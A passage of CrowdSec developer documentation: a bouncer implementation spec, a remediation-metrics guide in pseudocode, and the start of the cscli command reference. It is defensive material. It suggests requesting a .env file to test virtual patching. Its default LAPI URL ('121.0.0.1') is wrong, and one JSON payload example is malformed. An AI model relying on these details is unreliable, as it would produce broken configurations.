The Bouncer applies the appropriate remediation *(weโ€™ll only focus on ban/block and captcha)* **The following specifications cover** * [Basic Bouncer features](#basic-bouncer-features) * Communication with the Local API (aka LAPI) or its SaaS counterpart * Decisions retrieval and storage * Remediation * [Request Forwarding](#appsec-capability-request-forwarding) (for AppSec capabilities) * Communication with the AppSec endpoint * Forwarding protocol * [Config and support requirements](#extra-details-and-requirements) Here is an existing remediation components *(bouncers)* for Nginx and its lua dependency. It's one of the most complete bouncer with AppSec capabilities and Metrics. A good example to follow for your implementation.
[*cs-nginx-bouncer*](https://github.com/crowdsecurity/cs-nginx-bouncer) *+ [lua-cs-bouncer](https://github.com/crowdsecurity/lua-cs-bouncer/)* (dependency) And a more recent and soon finalized [Node JS bouncer](https://github.com/crowdsecurity/nodejs-cs-bouncer) (for a different implementation, to be used in code) โš ๏ธ **Your bouncer must always delete/clean itโ€™s resources on shutdown** ## Basic Bouncer features[โ€‹](#basic-bouncer-features "Direct link to Basic Bouncer features") The bouncer connects to LAPI to retrieve the decisions.
It applies a remediation to incoming requests if the source IP can be found in the decisions list.
The remediation can be blocking or displaying a captcha. Fields in purple and/or with the mention (configurable) must appear in the config file, the case of the parameters names can be UPPER or LOWER depending on the type of config file, match the appropriate standard for the bouncer youโ€™re implementing. Try to group them in a logical way in the config file template. Details about the config file in the [Installation chapter](#installation--documentation) ### Connecting to the Local API (LAPI)[โ€‹](#connecting-to-the-local-api-lapi "Direct link to Connecting to the Local API (LAPI)") You can find the swagger here
Details about the endpoints parameters can be found [in the appendix](#appendix) * URL to Local API endpoint: configurable field **api\_url** * Default value likely to be: `http://121.0.0.1:8080` * Security Engine Config : /etc/crowdsec/config.yaml // api.server.listen\_url * For now we only have a v1 of LAPI, bouncer states the version heโ€™s using * Authentication * Either by API key passed in the header **X-Api-Key:** configurable field **api\_key** * Or via certificate configurable fields **tls.cert\_file + tls.key\_file** ### Retrieving decisions[โ€‹](#retrieving-decisions "Direct link to Retrieving decisions") There are 2 ways for retrieving decisions: * **Live Mode**: โ€œEach timeโ€ a request is handled we call CrowdSec Security Engine * **Stream Mode**: We store all decisions in memory and periodically call for delta update *Weโ€™ll prefer Stream Mode as itโ€™s better for latency for a memory cost that is very acceptable.*
The Stream mode will be the default one in config: configurable field mode #### Live Mode[โ€‹](#live-mode "Direct link to Live Mode") The live mode endpoint is **/decisions** * Parameters
*Only the following fields are to be considered for a basic bouncer implementation* * **scope:** value **IP** (forced for live mode) * **value:** the source IP making the request * **origins:** empty by default mean all origins are considered * editable by the user to look in a specific origin: configurable field origins * Origins are comma separated strings (e.g. crowdsec,capi,cscli) * **contains**: empty by default mean *true* * Indicates if it should check range decisions * No need to make this configurable * Caching * To avoid consecutive calls for decisions about an IP weโ€™ll cache the decisions per IP * default **1s** configurable field cache\_expiration * Timeout * If LAPI doesnโ€™t respond * Default **200ms** configurable field lapi\_timeout * **Fallback**: * Fallback in case of timeout * By default passthrough : let him pass * Possible values: passthrough, ban, captcha * configurable field lapi\_failure\_action #### Stream Mode (by default)[โ€‹](#stream-mode-by-default "Direct link to Stream Mode (by default)") The stream mode endpoint is **/decisions/stream**
Allows to pull all decisions from LAPI and then periodically get a delta * Get Decisions * โš ๏ธ To retrieve the initial full list, use the **startup = true** parameter * This is necessary if you donโ€™t have the decision list in memory * Following calls need to have startup = false * Recommended pull period **10s** configurable field stream\_update\_frequency * Parameters *Only the following fields are to be considered for a basic bouncer implementation* * **scopes**: default to โ€œip,rangeโ€ for stream mode * **origins**: * empty by default mean all origins are considered * editable by the user to look in a specific origin: configurable field origins (same field as for live) * Origins are comma separated strings (e.g. crowdsec,capi,cscli) * **scenarios\_containing** and **scenarios\_not\_containing** * Means that the decisions are linked (or not) to alerts triggered by such or such scenario * The check done by LAPI is a string.contains(...) * Default as empty configurable fields scenarios\_containing && scenarios\_not\_containing * Storing decisions * โ„น๏ธ The number of decisions you can expect is: * 30-70k ips from Fire (nominal case) * Can vary a lot depending on the BL subscription of the user * Have the code be able to handle 100k to be safe for the nominal case * Storing in memory is ideal, we recommend to convert IPs to integers * The decisions format is the following: * See [decisions example in appendix](#decision-example) * There can be multiple decisions per IP * Store each decisions independently as they have their own remediation action and TTL * Ranges are stored too * โš ๏ธ do not transform the range into its containing IPS * Pruning * When you GET youโ€™ll receive โ€œdeletedโ€ decisions * Also Clean after a GET or periodically for decisions with expired TTL ### Apply remediation[โ€‹](#apply-remediation "Direct link to Apply remediation") If a remediation is found and for the LAPI timeout fallback here are the remediations that should be supported * Remediation type * Remediation property will be โ€œbanโ€, โ€œcaptchaโ€ or potentially any custom string * **ban** (block) * Return a 403: configurable field ban\_return\_code * Accompanied by an HTML body * Default page model [provided (single HTML file)](#ban-template-page) * Page path configurable: configurable field ban\_template\_path * **captcha** * Various type of captcha must be supported * configurable fields: * captcha \_provider * captcha\_secret\_key * captcha\_site\_key * captcha\_template\_path * Type to support * RE-captcha * Turnstile * Hcaptcha * onFails * Re-present the captcha * โš ๏ธ Cache: in order not to repeat the captcha too often * **1h** cache **per IP** after successful captcha configurable field cache\_expiration * **Custom remediation** * Defaults to ignore/ban/captcha configurable field **remediation\_fallback** * If ignored, you donโ€™t even need to store the decision * Remediation priority * There is a priority in the remediation to take in account if an IP has multiple * Default priority order **Ban** then **Captcha** * Metrics see below and in the [detailed metrics specs](https://docs.crowdsec.net/docs/next/contributing/specs/bouncer_metrics_specs.md) ### Logging[โ€‹](#logging "Direct link to Logging") * When a remediation occurs, log something containing timestamp,sourceIP,remediationType ### Metrics[โ€‹](#metrics "Direct link to Metrics") Remediation component can push information and internal metrics to LAPI about their configuration and the amount of requests/packets/bytes/โ€ฆ that have been blocked or allowed. The data is pushed on the `/usage-metrics` endpoint of LAPI.
Metrics push internal should be configurable, with a default value of 30 minutes and not allow intervals smaller than 10 minutes. Setting the interval to 0 disables the push. The body will contain information about: * The remediation component type and version * Name and version of the operating system the RC is running on * Enabled features flags (should be empty for the vast majority of RC) * Meta information about the payload itself: the push interval in seconds, the startup timestamp in UTC, the push timestamp in UTC * A list of metrics: * Each metric must have a name, value, unit, and, optionally, one or more labels The metrics track the number of blocked requests per decision origin, so the RC must track internally the origin of every decision (based on the `origin` field from the decision stream).
Each push must reset the internal counter for the metrics (i.e., we have only sent the number of blocked requests since the last push).
Each metric about blocked requests must have an `origin` label whose value is the origin of the decision and a `remediation_type` label whose value is the type of remediation that was applied (e.g., `ban` or `captcha`).
A `processed` metric must also be present that counts the number of requests that were processed by the RC (regardless of whether they were blocked or not). This metric has no label. A full sample payload can be found in the [appendix](#metrics-payload). ## AppSec Capability (request forwarding)[โ€‹](#appsec-capability-request-forwarding "Direct link to AppSec Capability (request forwarding)") An additional activatable capability of the bouncer is to forward the request to the security engine allowing more advanced behavior detection. The request forwarding is a blocking process, when the AppSec capability is activated the bouncer should wait for a response at each request forwarding to process with the request handling. AppSec is disabled by default and activable if url exists configurable field appsec\_url * Connect to AppSec endpoint * The security engine should have activated the AppSec and a listen address should be present in the SecurityEngine acquisition * Default endpoint `http://127.0.0.1:7422` * Auth by API key passed in the header **X-Api-Key:** same param as LAPI apikey * Request forwarding * You can find information about the forwarding protocol on this doc page: * When forwarding the query to the AppSec endpoint, the security engine will evaluate the actions to do and return the appropriate response code that the remediation component should display. * โš ๏ธ At the exception of codes **500** and **401** which mean that the forwarding or authentication to the endpoint failed. For those response codes you should trigger the fallback described there after.. * โš ๏ธ As stated earlier this is a blocking process * **Timeout** 200ms configurable field appsec\_timeout * **Fallback**: * Fallback in case of timeout or response failure (500,401โ€ฆ) * By default passthrough : let him pass * Possible values: passthrough, ban, captcha * configurable field appsec\_failure\_action ## Extra Details and Requirements[โ€‹](#extra-details-and-requirements "Direct link to Extra Details and Requirements") * The name and version of the bouncer are specified via its **user-agent** communicating with LAPI * The format is the following : *crowdsec-\-bouncer/v\* * E.g *crowdsec-firewall-bouncer/v1.42* * Ideally the bouncer would work for windows versions (if any) and openBSD (if any) * The bouncer should be able to handle **HTTP 1 & 2 requests**, or mention the limitations ## Installation / Documentation[โ€‹](#installation--documentation "Direct link to Installation / Documentation") Usually we (at CrowdSec) will deal with **documentation**, **install scripts** and **packaging**. But any pointers from the bouncerโ€™s developper that can help those processes is welcome on the following: Let us know what minimum version of the service is required to run the bouncer Provide a brief description of the steps necessary to install and configure the bouncer
โš ๏ธNote that the bouncers configuration files must be located in ***/etc/crowdsec/bouncers/*** * The bouncer config file name pattern is the following: *crowdsec-\-bouncer.conf* * Example of config file */etc/crowdsec/bouncers/crowdsec-apache-bouncer.conf* Ideally, at install or warmup of the bouncer, a check is made that the *crowdsec service* is running and the bouncer key is automatically created and added to the bouncer config. Provide advice about the best way and phase to perform those actions for this bouncer ## Developing / Testing[โ€‹](#developing--testing "Direct link to Developing / Testing") Here are some pointers and doc to help you test/mock actions for the bouncer during development. ### Init & Decisions management[โ€‹](#init--decisions-management "Direct link to Init & Decisions management") First you must create a bouncer key for your bouncer to communicate with LAPI.
Actions on bouncers can be done via the *cscli bouncers โ€ฆ* commands.
Example: TEXTCOPY ``` $ sudo cscli bouncer add myTestBouncer API key for 'myTestBouncer': 26WsbH6MLaKUaRilA1zQ4LyYbMz3LvOsDel9bEZXv+U Please keep this key since you will not be able to retrieve it! $ sudo cscli bouncers list โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ Name IP Address Valid Last API pull Type Version Auth Type โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ myTestBouncer โœ”๏ธ 2024-01-29T09:24:24Z api-key โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ ``` Note that the IP address, type and version will appear after the first connection of the bouncer ### Populating decisions[โ€‹](#populating-decisions "Direct link to Populating decisions") You can have decisions with various origins, here are a few ways to populate them #### Local decisions & Community blocklist[โ€‹](#local-decisions--community-blocklist "Direct link to Local decisions & Community blocklist") If you installed your CrowdSec on a server with internet access, and itโ€™s able to communicate with our Central API, it will periodically retrieve the community blocklist. If you are in a situation here your crowdsec shares signal youโ€™ll get between 10 and 50k decisions from the community blocklist (decisions origin will be CAPI), if not youโ€™ll receive a fraction of that. #### Manually populating decisions[โ€‹](#manually-populating-decisions "Direct link to Manually populating decisions") You can add and remove decisions manually:
Public documentation [available here](https://doc.crowdsec.net/u/user_guides/decisions_mgmt/) * Via **cscli decisions add/delete.** * E.g. sudo cscli decisions add -i 1.2.3.4 * Those decisions origin will be โ€œ*cscli*โ€ * Via **cscli decisions import**. * E.g. sudo cscli decisions import -i ./myBl.txt --format values * Those decisions origin will be โ€œ*cscli-impor*tโ€ #### Testing failures[โ€‹](#testing-failures "Direct link to Testing failures") Shutdown the *crowdsec service* to test the failure cases. #### Testing AppSec[โ€‹](#testing-appsec "Direct link to Testing AppSec") You can refer to the AppSec documentation to test request forwarding. * AppSec [quickstart guide here](https://doc.crowdsec.net/docs/next/appsec/quickstart), [Testing example here](https://doc.crowdsec.net/docs/next/appsec/installation#making-sure-everything-works) * E.g. Install virtual patching and try to query a */rpc2* or a *.env* file ## Appendix[โ€‹](#appendix "Direct link to Appendix") ### CrowdSec Security Engine diagram[โ€‹](#crowdsec-security-engine-diagram "Direct link to CrowdSec Security Engine diagram") **Figure 1** : Interactions around **CrowdSec Security Engine** ![](/img/simplified_SE_overview.svg) ### Details about LAPI endpoints parameters[โ€‹](#details-about-lapi-endpoints-parameters "Direct link to Details about LAPI endpoints parameters") **GET /decisions/stream** * **startup:** set it to **TRUE** for the **initial call** to get all decisions *(when False youโ€™ll get the delta from your last call)* * \*\*scopes: โ€œ\*\*ip,rangeโ€ is the only relevant values when remediating on IPs * **origins:** Leave blank to allow all origins, test your configurable origins with [those tests](#decision-example) * **scenarios\_containing:** leave blank by default, allow change in config * **scenarios\_not\_containing:** leave blank by default, allow change in config **GET /decisions** * \*\*scope: โ€œ\*\*ipโ€ is the only relevant values when remediating on IPs * **value:** the ip itself as a string * **type:** filtering on type of decisions, leave blank by default to get any decisions * **ip:** ignore/leave blank: shortcut for scope :ip \+ value * **range:** ignore/leave blank: shortcut for scope :range \+ value * **contains:** leave blank by default, configurable by user * **origins:** Leave blank to allow all origins, test your configurable origins with [those tests](#decision-example) * **scenarios\_containing:** leave blank by default, allow change in config * **scenarios\_not\_containing:** leave blank by default, allow change in config ### Decision example[โ€‹](#decision-example "Direct link to Decision example") JSCOPY ``` { "deleted": [ { "duration": "-75h34m54.509128301s", "id": 55873846, "origin": "CAPI", "scenario": "crowdsecurity/ssh-bf", "scope": "Ip", "type": "ban", "value": "61.155.106.101" }, ], "new": [ { "duration": "167h59m20.890999684s", "id": 55898280, "origin": "CAPI", "scenario": "crowdsecurity/CVE-2022-35914", "scope": "Ip", "type": "ban", "value": "45.95.147.236" }, ] } ``` ### Ban template page[โ€‹](#ban-template-page "Direct link to Ban template page") JSCOPY ``` CrowdSec Ban

CrowdSec Access Forbidden

You are unable to visit the website.

Your IP seems to have been blocked, check our CTI info about it or contact this website admin

This security check has been powered by

CrowdSec
``` ### Metrics payload[โ€‹](#metrics-payload "Direct link to Metrics payload") More details about metrics in [Metrics specs](https://docs.crowdsec.net/docs/next/contributing/specs/bouncer_metrics_specs.md) JSONCOPY ``` { "remediation_components": [ { "type": "my-bouncer-stat", "version": "1.0.0", "os": { "name": "ubuntu", "version": "22.04" }, "features": [], //Always empty / invalid / ignored for bouncers "meta": { "window_size_seconds": 1800, "utc_startup_timestamp": 123123, "utc_now_timestamp": 123123123123 }, "metrics": [ { "name": "blocked", "value": 100, "labels": { "origin": "fire", "remediation_type": "ban" }, "unit": "request" }, { "name": "blocked", "value": 40, "labels": { "origin": "crowdsec", "remediation_type": "ban" }, "unit": "request" }, { "name": "blocked", "value": 60, "labels": { "origin": "crowdsec", "remediation_type": "captcha" }, "unit": "request" }, { "name": "blocked", "value": 100, "labels": { "origin": "lists:tor" "remediation_type": "ban" } }, { "name": "processed", "value": 500, "unit": "request" } ] }]} ``` --- # Remediation Component Metrics ## Overview[โ€‹](#overview "Direct link to Overview") This document provides a comprehensive guide for developers to implement the "[Remediation Metrics](https://docs.crowdsec.net/docs/next/observability/usage_metrics)" feature in a remediation component. The remediation metrics feature allows remediation components to report [raw metrics](https://docs.crowdsec.net/u/service_api/quickstart/metrics/#raw-metrics) about their activity to the Local API (LAPI), which can then be forwarded to the Central API (CAPI) for monitoring and analytics purposes. The remediation component should send the following data: * "**dropped**" metrics: the total number of units (`byte`, `packet` or `request`) for which a remediation (`ban`, `captcha`, etc.) has been applied. For this metrics, data should be split into origin/remediation pairs. * "**processed**" metrics: the total number of units (`byte`, `packet` or `request`) that has been processed by the remediation component. It must also include the number of "bypass" (i.e. when no decision were applied). * "**active\_decisions**" metrics: it represents the number of decisions currently known by the remediation component. Unit must be `ip`. Each metric can have zero or more labels, which are used to group the data when displaying it to the user. The following labels are supported: * `origin`: Applies to `processed`, `dropped` or `active_decisions` metrics. It represents the source of the decision (`crowdsec`, `cscli`, lists, ...) The value should be what was returned by LAPI, except when origin is `lists`. In this case, the value should be `lists:` (`reason` being the field returned by LAPI) * `remediation`: Applies to `processed`, `dropped` or `active_decisions` metrics. Which type of remediation was applied. It should be the value what was returned by LAPI. * `ip_type`: Applies to `processed`, `dropped` or `active_decisions` metrics. The IP version, can be `ipv4` or `ipv6`. Generally, the `origin` and `ip_type` labels should always be set. `remediation` should only be set if the bouncer supports multiple types of remediations (`ban`, `captcha`, `appsec`, ...) Additionally, some relevant time values must be sent: * "**window\_size\_seconds**": The time interval between metric reports (typically 1800 seconds / 30 minutes). We recommend a minimum delay of 15 minutes between each transmission. * "**utc\_startup\_timestamp**": When the remediation component started. This can vary depending on implementation: * For daemon bouncers: timestamp when the daemon process started * For "on-demand" bouncer like the PHP one: timestamp of the first LAPI call/pull As an example, here is the kind of expected payload that you will have to build and send: ### Metrics Payload example[โ€‹](#metrics-payload-example "Direct link to Metrics Payload example") JSONCOPY ``` { "remediation_components": [ { "name": "my-bouncer", "type": "crowdsec-custom-bouncer", "version": "1.0.0", "feature_flags": [], "utc_startup_timestamp": 1704067200, "os": { "name": "linux", "version": "5.4.0" }, "metrics": { "meta": { "window_size_seconds": 1800, "utc_now_timestamp": 1704069000 }, "items": [ { "name": "dropped", "value": 150, "unit": "request", "labels": { "origin": "CAPI", "remediation": "ban" } }, { "name": "dropped", "value": 25, "unit": "request", "labels": { "origin": "cscli", "remediation": "ban" } }, { "name": "dropped", "value": 12, "unit": "request", "labels": { "origin": "cscli", "remediation": "captcha" } }, { "name": "processed", "value": 1175, "unit": "request" }, { "name": "active_decisions", "value": 342010, "unit": "ip", "labels": { "ip_type": "ipv4" } }, { "name": "active_decisions", "value": 123, "unit": "ip", "labels": { "ip_type": "ipv6" } } ] } } ] } ``` For more details on valid payloads, please refer to the [API specification](https://crowdsecurity.github.io/api_doc/index.html?urls.primaryName=LAPI#/Remediation%20component/usage-metrics). ## Architecture Overview[โ€‹](#architecture-overview "Direct link to Architecture Overview") ### Key Features[โ€‹](#key-features "Direct link to Key Features") Implementing remediation metrics involves several capabilities: 1. **Metrics Storage**: * Store "remediation by origin" counters and relevant time values in a persistent storage. * Update or delete stored values 2. **Metrics Building**: * Retrieve metrics in storage * Format metrics according to the API specification 3. **Metrics Transmission**: * Send metrics to LAPI `usage-metrics` endpoint * Update metrics items so that next push will only send fresh metrics ### Core Concepts[โ€‹](#core-concepts "Direct link to Core Concepts") * **Origins**: The source of a remediation (e.g., `CAPI`, `lists:***`, `cscli`, etc). As we want to track the total number of processed items, we also need to be able to count the number of "bypass". That's why you may use a `clean` and `clean_appsec` origins to track bypass remediations for regular and AppSec traffic respectively. * **Remediations**: The final action effectively applied by the remediation component (e.g., "ban", "captcha", "bypass") The remediation stored in metrics **must be the final remediation effectively applied by the bouncer**, not the original decision from CrowdSec. Examples: * **Captcha Resolution**: If the original decision was "captcha" but the user has already solved the captcha and can access the page, store "bypass" as the final remediation. * **Remediation Transformation**: If the original decision was "ban" but the bouncer configuration transforms it to "captcha" (and the user hasn't solved it yet), store "captcha" as the final remediation. * **Fallback Scenarios**: If a timeout occurs and the bouncer applies a fallback remediation, store the fallback remediation, not the original intended one. ## Implementation Guide[โ€‹](#implementation-guide "Direct link to Implementation Guide") ### 1. Storage[โ€‹](#1-storage "Direct link to 1. Storage") #### 1.1 Cached Items[โ€‹](#11-cached-items "Direct link to 1.1 Cached Items") Every time the remediation component is involved, storage should be used to persist data: * origin and remediation * time values For example, you could have the following cached items: TEXTCOPY ``` TIME_VALUES = { "utc_startup_timestamp": , // When the bouncer was started or used for the first time "last_metrics_sent": , // Last successful metrics transmission } ORIGINS_COUNT = { "": { "": } } ``` Storing a `last_metrics_sent` value makes it easy to compute the `window_size_seconds` value. #### 1.1 Metrics Tracking[โ€‹](#11-metrics-tracking "Direct link to 1.1 Metrics Tracking") Once you know the final remediation that has been applied, you should increment the count of the related "origin/remediation" pair. Below are a few lines of pseudo-code to help you visualize what the final implementation might look like. PSEUDOCODECOPY ``` function updateMetricsOriginsCount(origin: string, remediation: string, delta: int = 1): int // Get current count from cache currentCount = getFromCache("ORIGINS_COUNT[origin][remediation]") ?? 0 // Update count (delta can be negative for decrementing) newCount = max(0, currentCount + delta) // Store updated count in cache storeInCache("ORIGINS_COUNT[origin][remediation]", newCount) return newCount ``` ### 2. Metrics Building Process[โ€‹](#2-metrics-building-process "Direct link to 2. Metrics Building Process") In order to send metrics, you will have to retrieved cached values and build the required payload. #### 2.1 Build Metrics Items[โ€‹](#21-build-metrics-items "Direct link to 2.1 Build Metrics Items") The main information belongs to the metrics items: PSEUDOCODECOPY ``` function buildMetricsItems(originsCount: object): object metricsItems = [] processedTotal = 0 originsToDecrement = {} for each origin in originsCount: for each remediation, count in origin: if count <= 0: continue // Track total processed requests processedTotal += count // Prepare for decrementing after successful send originsToDecrement[origin][remediation] = -count // Skip bypass remediations in "dropped" metrics if remediation == "bypass": continue // Create "dropped" metric for blocked requests metricsItems.append({ "name": "dropped", "value": count, "unit": getMetricUnit(), // "request", "packet", or other relevant unit "labels": { "origin": origin, "remediation": remediation } }) // Add total processed metric if processedTotal > 0: metricsItems.append({ "name": "processed", "value": processedTotal, "unit": getMetricUnit() // "request", "packet", or other relevant unit }) // Add active_decisions metric (if supported) activeDecisions = getActiveDecisionsCount() if activeDecisions > 0: metricsItems.append({ "name": "active_decisions", "value": activeDecisions, "unit": "ip" }) return { "items": metricsItems, "originsToDecrement": originsToDecrement } ``` Note that it's important to record the number sent for each origin/remediation in order to reset the respective counter after the push. #### 2.2 Build Complete Metrics Payload[โ€‹](#22-build-complete-metrics-payload "Direct link to 2.2 Build Complete Metrics Payload") In addition to the metrics items, payload requires properties and meta attributes: PSEUDOCODECOPY ``` function buildUsageMetrics(properties: object, meta: object, items: array): object // Prepare bouncer properties bouncerProperties = { "name": properties.name, "type": properties.type, "version": properties.version, "feature_flags": properties.feature_flags ?? [], "utc_startup_timestamp": properties.utc_startup_timestamp } // Add optional OS information if properties.os: bouncerProperties["os"] = { "name": properties.os.name, "version": properties.os.version } // Prepare metadata metricsMetadata = { "window_size_seconds": meta.window_size_seconds, "utc_now_timestamp": meta.utc_now_timestamp } // Build final payload return { "remediation_components": [{ ...bouncerProperties, "metrics": { "meta": metricsMetadata, "items": items } }] } ``` ### 3. Complete Push Metrics Implementation[โ€‹](#3-complete-push-metrics-implementation "Direct link to 3. Complete Push Metrics Implementation") PSEUDOCODECOPY ``` function pushUsageMetrics(bouncerName: string, bouncerVersion: string, bouncerType: string): array // Get timing information startupTime = getStartUp() currentTime = getCurrentTimestamp() lastSent = getFromCache("CONFIG.last_metrics_sent") ?? startupTime // Get current metrics originsCount = getOriginsCount() metricsData = buildMetricsItems(originsCount) // Return early if no metrics to send if metricsData.items.isEmpty(): log("No metrics to send") return [] // Prepare properties and metadata properties = { "name": bouncerName, "type": bouncerType, "version": bouncerVersion, "utc_startup_timestamp": startupTime, "os": getOsInformation() } meta = { "window_size_seconds": max(0, currentTime - lastSent), "utc_now_timestamp": currentTime } // Build and send metrics metricsPayload = buildUsageMetrics(properties, meta, metricsData.items) // Send to LAPI/CAPI sendMetricsToAPI(metricsPayload) // Decrement counters after successful send for origin, remediationCounts in metricsData.originsToDecrement: for remediation, deltaCount in remediationCounts: updateMetricsOriginsCount(origin, remediation, deltaCount) // Update last sent timestamp storeMetricsLastSent(currentTime) return metricsPayload ``` ## Useful Tips[โ€‹](#useful-tips "Direct link to Useful Tips") ### When to Update Metrics[โ€‹](#when-to-update-metrics "Direct link to When to Update Metrics") Call `updateMetricsOriginsCount()` after each remediation decision is **effectively applied**: PSEUDOCODECOPY ``` // After determining and applying the final remediation initialRemediation = getRemediationForIP(clientIP) origin = initialRemediation.origin finalAction = applyBouncerLogic(initialRemediation.action) // Increment the counter with the final action updateMetricsOriginsCount(origin, finalAction, 1) ``` ### When to Push Metrics[โ€‹](#when-to-push-metrics "Direct link to When to Push Metrics") Typically push metrics on a scheduled interval (e.g., every 30 minutes): PSEUDOCODECOPY ``` // In your scheduled metrics push job try: sentMetrics = pushUsageMetrics("my-bouncer", "1.0.0", "crowdsec-custom-bouncer") if sentMetrics.isEmpty(): log("No metrics were sent") else: log("Successfully sent metrics", sentMetrics) catch Exception as e: log("Failed to send metrics", e) ``` ### Existing Implementations[โ€‹](#existing-implementations "Direct link to Existing Implementations") Remediation metrics have already been implemented in various languages and frameworks. You can use it as inspiration for your own implementation: * The [LUA library](https://github.com/crowdsecurity/lua-cs-bouncer/) used by the [NGINX remediation component](https://docs.crowdsec.net/u/bouncers/nginx/) * The [PHP library](https://github.com/crowdsecurity/php-remediation-engine) used by the [WordPress remediation component](https://docs.crowdsec.net/u/bouncers/wordpress). * The [Firewall Bouncer](https://github.com/crowdsecurity/cs-firewall-bouncer) written in Go. Used for nftables/iptables. --- # cscli ## cscli[โ€‹](#cscli "Direct link to cscli") cscli allows you to manage crowdsec ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") cscli is the main command to interact with your crowdsec service, scenarios & db. It is meant to allow you to manage bans, parsers/scenarios/etc, api and generally manage your crowdsec setup. TEXTCOPY ``` cscli [flags] ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") -o, --output string Output format: human, json, raw --color string Output color: yes, no, auto (default "auto") --debug Set logging to debug --info Set logging to info --warning Set logging to warning --error Set logging to error --trace Set logging to trace -h, --help help for cscli ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli alerts](https://docs.crowdsec.net/docs/next/cscli/cscli_alerts.md) - Manage alerts * [cscli allowlists](https://docs.crowdsec.net/docs/next/cscli/cscli_allowlists.md) - Manage centralized allowlists * [cscli appsec-configs](https://docs.crowdsec.net/docs/next/cscli/cscli_appsec-configs.md) - Manage hub appsec-configs * [cscli appsec-rules](https://docs.crowdsec.net/docs/next/cscli/cscli_appsec-rules.md) - Manage hub appsec-rules * [cscli bouncers](https://docs.crowdsec.net/docs/next/cscli/cscli_bouncers.md) - Manage bouncers \[requires local API] * [cscli capi](https://docs.crowdsec.net/docs/next/cscli/cscli_capi.md) - Manage interaction with Central API (CAPI) * [cscli collections](https://docs.crowdsec.net/docs/next/cscli/cscli_collections.md) - Manage hub collections * [cscli completion](https://docs.crowdsec.net/docs/next/cscli/cscli_completion.md) - Generate completion script * [cscli config](https://docs.crowdsec.net/docs/next/cscli/cscli_config.md) - Allows to view current config * [cscli console](https://docs.crowdsec.net/docs/next/cscli/cscli_console.md) - Manage interaction with Crowdsec console () * [cscli contexts](https://docs.crowdsec.net/docs/next/cscli/cscli_contexts.md) - Manage hub contexts * [cscli dashboard](https://docs.crowdsec.net/docs/next/cscli/cscli_dashboard.md) - * [cscli decisions](https://docs.crowdsec.net/docs/next/cscli/cscli_decisions.md) - Manage decisions * [cscli explain](https://docs.crowdsec.net/docs/next/cscli/cscli_explain.md) - Explain log pipeline * [cscli hub](https://docs.crowdsec.net/docs/next/cscli/cscli_hub.md) - Manage hub index * [cscli hubtest](https://docs.crowdsec.net/docs/next/cscli/cscli_hubtest.md) - Run functional tests on hub configurations * [cscli lapi](https://docs.crowdsec.net/docs/next/cscli/cscli_lapi.md) - Manage interaction with Local API (LAPI) * [cscli machines](https://docs.crowdsec.net/docs/next/cscli/cscli_machines.md) - Manage local API machines \[requires local API] * [cscli metrics](https://docs.crowdsec.net/docs/next/cscli/cscli_metrics.md) - Display crowdsec prometheus metrics. * [cscli notifications](https://docs.crowdsec.net/docs/next/cscli/cscli_notifications.md) - Helper for notification plugin configuration * [cscli papi](https://docs.crowdsec.net/docs/next/cscli/cscli_papi.md) - Manage interaction with Polling API (PAPI) * [cscli parsers](https://docs.crowdsec.net/docs/next/cscli/cscli_parsers.md) - Manage hub parsers * [cscli postoverflows](https://docs.crowdsec.net/docs/next/cscli/cscli_postoverflows.md) - Manage hub postoverflows * [cscli scenarios](https://docs.crowdsec.net/docs/next/cscli/cscli_scenarios.md) - Manage hub scenarios * [cscli setup](https://docs.crowdsec.net/docs/next/cscli/cscli_setup.md) - Tools to configure crowdsec * [cscli simulation](https://docs.crowdsec.net/docs/next/cscli/cscli_simulation.md) - Manage simulation status of scenarios * [cscli support](https://docs.crowdsec.net/docs/next/cscli/cscli_support.md) - Provide commands to help during support * [cscli version](https://docs.crowdsec.net/docs/next/cscli/cscli_version.md) - Display version --- # cscli alerts ## cscli alerts[โ€‹](#cscli-alerts "Direct link to cscli alerts") Manage alerts TEXTCOPY ``` cscli alerts [action] [flags] ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for alerts ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default 